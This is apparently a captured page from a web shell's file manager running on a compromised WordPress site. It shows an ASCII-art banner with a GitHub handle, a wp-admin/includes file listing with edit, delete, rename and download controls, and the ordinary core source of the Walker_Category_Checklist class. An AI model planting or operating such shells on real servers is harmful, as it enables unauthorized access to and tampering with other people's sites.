⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⢠⣴⣿⣿⣿⣷⣼⣿⠀⣴⠾⠷⠶⠦⡄⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⢠⡤⢶⣦⣾⣿⣿⣿⣿⣿⣿⣿⠀⣿⣶⣶⣦⣄⠳⣤⣤⠄⠀⠀⠀ ⠀⠀⠀⢀⣼⣳⡿⢻⣿⣿⣿⣿⣿⣿⣿⣿⣶⣿⣿⣗⠈⠙⠻⣶⣄⡀⠀⠀⠀ ⠀⠀⠀⣰⠿⠁⢀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡄⠀⠀⠈⠳⣤⠀⠀ ⠀⠀⢀⡟⠀⢰⣿⠟⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⠉⠁⠈⠻⣶⣄⠀⠀⠈⠛⢦ www.github.com/caterscam ⠀⣀⡼⠃⠀⣼⡟⠀⠀⢸⣿⡿⠉⣿⡿⠿⠛⣿⡄⠀⠀⠀⠙⠿⣆⠀⠀⠀⠈ ⠈⠁⠀⠀⢸⡟⠀⠀⠀⢸⣿⠀⠀⣿⠁⠀⠀⠈⠃⠀⠀⠀⠀⠀⠘⢷⡄⠀⠀ ⠀⠀⠀⠀⣼⠃⠀⠀⠀⢸⡟⠀⠀⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⡆⠀ ⠀⠀⠀⣠⡏⠀⠀⠀⠀⣼⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠻⠃⠀⠀⠀⠀⣻⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ Current Dir: /dom834884/wp-admin/includes/ [FILE] admin-filters.php [ edit | delete | rename | download ] [FILE] admin.php [ edit | delete | rename | download ] [FILE] ajax-actions.php [ edit | delete | rename | download ] [FILE] bookmark.php [ edit | delete | rename | download ] [FILE] class-automatic-upgrader-skin.php [ edit | delete | rename | download ] [FILE] class-bulk-plugin-upgrader-skin.php [ edit | delete | rename | download ] [FILE] class-bulk-theme-upgrader-skin.php [ edit | delete | rename | download ] [FILE] class-bulk-upgrader-skin.php [ edit | delete | rename | download ] [FILE] class-core-upgrader.php [ edit | delete | rename | download ] [FILE] class-custom-background.php [ edit | delete | rename | download ] [FILE] class-custom-image-header.php [ edit | delete | rename | download ] [FILE] class-file-upload-upgrader.php [ edit | delete | rename | download ] [FILE] class-ftp-pure.php [ edit | delete | rename | download ] [FILE] class-ftp-sockets.php [ edit | delete | rename | download ] [FILE] class-ftp.php [ edit | delete | rename | download ] [FILE] class-language-pack-upgrader-skin.php [ edit | delete | rename | download ] [FILE] class-language-pack-upgrader.php [ edit | delete | rename | download ] [FILE] class-pclzip.php [ edit | delete | rename | download ] [FILE] class-plugin-installer-skin.php [ edit | delete | rename | download ] [FILE] class-plugin-upgrader-skin.php [ edit | delete | rename | download ] [FILE] class-plugin-upgrader.php [ edit | delete | rename | download ] [FILE] class-theme-installer-skin.php [ edit | delete | rename | download ] [FILE] class-theme-upgrader-skin.php [ edit | delete | rename | download ] [FILE] class-theme-upgrader.php [ edit | delete | rename | download ] [FILE] class-walker-category-checklist.php [ edit | delete | rename | download ] [FILE] class-walker-nav-menu-checklist.php [ edit | delete | rename | download ] [FILE] class-walker-nav-menu-edit.php [ edit | delete | rename | download ] [FILE] class-wp-ajax-upgrader-skin.php [ edit | delete | rename | download ] [FILE] class-wp-application-passwords-list-table.php [ edit | delete | rename | download ] [FILE] class-wp-automatic-updater.php [ edit | delete | rename | download ] [FILE] class-wp-comments-list-table.php [ edit | delete | rename | download ] [FILE] class-wp-community-events.php [ edit | delete | rename | download ] [FILE] class-wp-debug-data.php [ edit | delete | rename | download ] [FILE] class-wp-filesystem-base.php [ edit | delete | rename | download ] [FILE] class-wp-filesystem-direct.php [ edit | delete | rename | download ] [FILE] class-wp-filesystem-ftpext.php [ edit | delete | rename | download ] [FILE] class-wp-filesystem-ftpsockets.php [ edit | delete | rename | download ] [FILE] class-wp-filesystem-ssh2.php [ edit | delete | rename | download ] [FILE] class-wp-importer.php [ edit | delete | rename | download ] [FILE] class-wp-internal-pointers.php [ edit | delete | rename | download ] [FILE] class-wp-links-list-table.php [ edit | delete | rename | download ] [FILE] class-wp-list-table-compat.php [ edit | delete | rename | download ] [FILE] class-wp-list-table.php [ edit | delete | rename | download ] [FILE] class-wp-media-list-table.php [ edit | delete | rename | download ] [FILE] class-wp-ms-sites-list-table.php [ edit | delete | rename | download ] [FILE] class-wp-ms-themes-list-table.php [ edit | delete | rename | download ] [FILE] class-wp-ms-users-list-table.php [ edit | delete | rename | download ] [FILE] class-wp-plugin-install-list-table.php [ edit | delete | rename | download ] [FILE] class-wp-plugins-list-table.php [ edit | delete | rename | download ] [FILE] class-wp-post-comments-list-table.php [ edit | delete | rename | download ] [FILE] class-wp-posts-list-table.php [ edit | delete | rename | download ] [FILE] class-wp-privacy-data-export-requests-list-table.php [ edit | delete | rename | download ] [FILE] class-wp-privacy-data-removal-requests-list-table.php [ edit | delete | rename | download ] [FILE] class-wp-privacy-policy-content.php [ edit | delete | rename | download ] [FILE] class-wp-privacy-requests-table.php [ edit | delete | rename | download ] [FILE] class-wp-screen.php [ edit | delete | rename | download ] [FILE] class-wp-site-health-auto-updates.php [ edit | delete | rename | download ] [FILE] class-wp-site-health.php [ edit | delete | rename | download ] [FILE] class-wp-site-icon.php [ edit | delete | rename | download ] [FILE] class-wp-terms-list-table.php [ edit | delete | rename | download ] [FILE] class-wp-theme-install-list-table.php [ edit | delete | rename | download ] [FILE] class-wp-themes-list-table.php [ edit | delete | rename | download ] [FILE] class-wp-upgrader-skin.php [ edit | delete | rename | download ] [FILE] class-wp-upgrader-skins.php [ edit | delete | rename | download ] [FILE] class-wp-upgrader.php [ edit | delete | rename | download ] [FILE] class-wp-users-list-table.php [ edit | delete | rename | download ] [FILE] comment.php [ edit | delete | rename | download ] [FILE] continents-cities.php [ edit | delete | rename | download ] [FILE] credits.php [ edit | delete | rename | download ] [FILE] dashboard.php [ edit | delete | rename | download ] [FILE] deprecated.php [ edit | delete | rename | download ] [FILE] edit-tag-messages.php [ edit | delete | rename | download ] [FILE] export.php [ edit | delete | rename | download ] [FILE] file.php [ edit | delete | rename | download ] [FILE] image-edit.php [ edit | delete | rename | download ] [FILE] image.php [ edit | delete | rename | download ] [FILE] import.php [ edit | delete | rename | download ] [FILE] list-table.php [ edit | delete | rename | download ] [FILE] media.php [ edit | delete | rename | download ] [FILE] menu.php [ edit | delete | rename | download ] [FILE] meta-boxes.php [ edit | delete | rename | download ] [FILE] misc.php [ edit | delete | rename | download ] [FILE] ms-admin-filters.php [ edit | delete | rename | download ] [FILE] ms-deprecated.php [ edit | delete | rename | download ] [FILE] ms.php [ edit | delete | rename | download ] [FILE] nav-menu.php [ edit | delete | rename | download ] [FILE] network.php [ edit | delete | rename | download ] [FILE] noop.php [ edit | delete | rename | download ] [FILE] options.php [ edit | delete | rename | download ] [FILE] plugin-install.php [ edit | delete | rename | download ] [FILE] plugin.php [ edit | delete | rename | download ] [FILE] post.php [ edit | delete | rename | download ] [FILE] privacy-tools.php [ edit | delete | rename | download ] [FILE] revision.php [ edit | delete | rename | download ] [FILE] schema.php [ edit | delete | rename | download ] [FILE] screen.php [ edit | delete | rename | download ] [FILE] taxonomy.php [ edit | delete | rename | download ] [FILE] template.php [ edit | delete | rename | download ] [FILE] theme-install.php [ edit | delete | rename | download ] [FILE] theme.php [ edit | delete | rename | download ] [FILE] translation-install.php [ edit | delete | rename | download ] [FILE] update-core.php [ edit | delete | rename | download ] [FILE] update.php [ edit | delete | rename | download ] [FILE] upgrade.php [ edit | delete | rename | download ] [FILE] user.php [ edit | delete | rename | download ] [FILE] widgets.php [ edit | delete | rename | download ] Viewing: /dom834884/wp-admin/includes/class-walker-category-checklist.php <?php /** * Taxonomy API: Walker_Category_Checklist class * * @package WordPress * @subpackage Administration * @since 4.4.0 */ /** * Core walker class to output an unordered list of category checkbox input elements. * * @since 2.5.1 * * @see Walker * @see wp_category_checklist() * @see wp_terms_checklist() */ class Walker_Category_Checklist extends Walker { public $tree_type = 'category'; public $db_fields = array( 'parent' => 'parent', 'id' => 'term_id', ); // TODO: Decouple this. /** * Starts the list before the elements are added. * * @see Walker:start_lvl() * * @since 2.5.1 * * @param string $output Used to append additional content (passed by reference). * @param int $depth Depth of category. Used for tab indentation. * @param array $args An array of arguments. See {@see wp_terms_checklist()}. */ public function start_lvl( &$output, $depth = 0, $args = array() ) { $indent = str_repeat( "\t", $depth ); $output .= "$indent<ul class='children'>\n"; } /** * Ends the list of after the elements are added. * * @see Walker::end_lvl() * * @since 2.5.1 * * @param string $output Used to append additional content (passed by reference). * @param int $depth Depth of category. Used for tab indentation. * @param array $args An array of arguments. See {@see wp_terms_checklist()}. */ public function end_lvl( &$output, $depth = 0, $args = array() ) { $indent = str_repeat( "\t", $depth ); $output .= "$indent</ul>\n"; } /** * Start the element output. * * @see Walker::start_el() * * @since 2.5.1 * @since 5.9.0 Renamed `$category` to `$data_object` and `$id` to `$current_object_id` * to match parent class for PHP 8 named parameter support. * * @param string $output Used to append additional content (passed by reference). * @param WP_Term $data_object The current term object. * @param int $depth Depth of the term in reference to parents. Default 0. * @param array $args An array of arguments. See {@see wp_terms_checklist()}. * @param int $current_object_id Optional. ID of the current term. Default 0. */ public function start_el( &$output, $data_object, $depth = 0, $args = array(), $current_object_id = 0 ) { // Restores the more descriptive, specific name for use within this method. $category = $data_object; if ( empty( $args['taxonomy'] ) ) { $taxonomy = 'category'; } else { $taxonomy = $args['taxonomy']; } if ( 'category' === $taxonomy ) { $name = 'post_category'; } else { $name = 'tax_input[' . $taxonomy . ']'; } $args['popular_cats'] = ! empty( $args['popular_cats'] ) ? array_map( 'intval', $args['popular_cats'] ) : array(); $class = in_array( $category->term_id, $args['popular_cats'], true ) ? ' class="popular-category"' : ''; $args['selected_cats'] = ! empty( $args['selected_cats'] ) ? array_map( 'intval', $args['selected_cats'] ) : array(); if ( ! empty( $args['list_only'] ) ) { $aria_checked = 'false'; $inner_class = 'category'; if ( in_array( $category->term_id, $args['selected_cats'], true ) ) { $inner_class .= ' selected'; $aria_checked = 'true'; } $output .= "\n" . '<li' . $class . '>' . '<div class="' . $inner_class . '" data-term-id=' . $category->term_id . ' tabindex="0" role="checkbox" aria-checked="' . $aria_checked . '">' . /** This filter is documented in wp-includes/category-template.php */ esc_html( apply_filters( 'the_category', $category->name, '', '' ) ) . '</div>'; } else { $is_selected = in_array( $category->term_id, $args['selected_cats'], true ); $is_disabled = ! empty( $args['disabled'] ); $li_element_id = wp_unique_prefixed_id( "in-{$taxonomy}-{$category->term_id}-" ); $checkbox_element_id = wp_unique_prefixed_id( "in-{$taxonomy}-{$category->term_id}-" ); $output .= "\n<li id='" . esc_attr( $li_element_id ) . "'$class>" . '<label class="selectit"><input value="' . $category->term_id . '" type="checkbox" name="' . $name . '[]" id="' . esc_attr( $checkbox_element_id ) . '"' . checked( $is_selected, true, false ) . disabled( $is_disabled, true, false ) . ' /> ' . /** This filter is documented in wp-includes/category-template.php */ esc_html( apply_filters( 'the_category', $category->name, '', '' ) ) . '</label>'; } } /** * Ends the element output, if needed. * * @see Walker::end_el() * * @since 2.5.1 * @since 5.9.0 Renamed `$category` to `$data_object` to match parent class for PHP 8 named parameter support. * * @param string $output Used to append additional content (passed by reference). * @param WP_Term $data_object The current term object. * @param int $depth Depth of the term in reference to parents. Default 0. * @param array $args An array of arguments. See {@see wp_terms_checklist()}. */ public function end_el( &$output, $data_object, $depth = 0, $args = array() ) { $output .= "</li>\n"; } }